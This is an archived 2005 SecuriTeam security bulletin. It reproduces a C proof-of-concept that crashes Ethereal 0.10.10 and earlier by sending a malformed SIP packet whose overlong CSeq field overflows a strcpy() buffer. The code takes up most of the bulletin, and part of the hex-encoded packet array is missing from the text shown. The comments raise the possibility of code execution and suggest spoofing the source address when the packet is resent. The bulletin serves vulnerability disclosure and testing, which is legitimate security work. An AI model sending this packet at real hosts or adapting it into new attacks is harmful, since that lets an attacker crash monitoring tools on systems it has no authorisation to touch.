

[EXPL] Ethereal SIP Dissector Overflow (Exploit 2)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0086.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 05/15/05

To: list@securiteam.com

Date: 15 May 2005 18:29:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Ethereal SIP Dissector Overflow (Exploit 2)

SUMMARY

Another proof of concept, exploiting following vulnerability:

<<http://www.securiteam.com/securitynews/5IP082AFPA.html>> Ethereal SIP Dissector Overflow, a vulnerability in Ethereal's SIP dissector allows attackers to cause Ethereal to crash by overflowing an internal buffer used by Ethereal when it tries to handle SIP related packets. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
/* ethereal_sip_dos.c – by Shaun Colley <shaun rsc cx>
```

```
*
```

```
* This code exploits the Ethereal <= 0.10.10 SIP dissector stack overflow vulnerability,
```

```
* reported by SecurityLab. See the advisory for more details (i.e. fix) –
```

```
* <http://www.securitylab.net/ethereal-0-10-10.txt>
```

```
*
```

```
* This buffer overflow bug is due to a blind copy of the "CSeq" field in a packet containing a SIP header.
```

```
* If a malformed SIP packet appears on the same interface as the
```

Securiteam: [EXPL] Ethereal SIP Dissector Overflow (Exploit 2)

vulnerable Ethereal,

- * Ethereal will strcpy() the SIP header's CSeq field into a buffer without bounds checking.
- * This code transmits a SIP header (in a UDP datagram) with an overly long CSeq field, which
- * results in a stack overflow because of the strcpy(). It is probably
- * possible to execute code, but since Ethereal first validates each byte with an 'isalpha' check,
- * shellcode may have to be printable ASCII—only if the bug were to be exploited. I am not
- * certain on how easy code execution would be. Important things get overwritten during the overflow,
- * so the attacker would need to fill them back in themselves.
- *
- * Ethereal have released a patch. Ethereal 0.10.11 fixes this bug.
- *
- * syntax: ethereal_sip_dos <host> – where <host> is an address that makes the packet appear on
- * the Ethereal host's interface, i.e. target's IP address.
- *
- * This code doesn't spoof the source address – if you care, capture the packet and retransmit
- * it with a spoofed source IP address.
- */

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <sys/types.h>
```

```
#include <sys/socket.h>
```

```
#include <netdb.h>
```

```
#include <netinet/in.h>
```

```
/* malformed SIP packet */
```

```
char sip_packet[] =
```

```
"\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"
```

```
"\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"
```

```
"\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"
```

```
"\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"
```

```
"\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"
```

```
"\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"
```

```
"\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"
```

```
"\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"
```

```
"\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"
```


Securiteam: [EXPL] Ethereal SIP Dissector Overflow (Exploit 2)

```
    return 1;
}

dest.sin_port = htons(5060);
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)he->h_addr);

if (sendto(sock, sip_packet, sizeof(sip_packet), 0, (struct sockaddr
*)&dest, slen)== -1) {
    printf("Error sending packet!\n");
    return 1;
}

printf("Exploit packet sent.\n");

close(sock);
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:shaun@rsc.cx> Shaun Colley.

The original article can be found at:

<http://www.demodulated.net/code/ethereal_sip_dos.c>

http://www.demodulated.net/code/ethereal_sip_dos.c

<<http://www.securiteam.com/exploits/5DP022AFQC.html>> Ethereal SIP
Dissector Overflow (Exploit)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.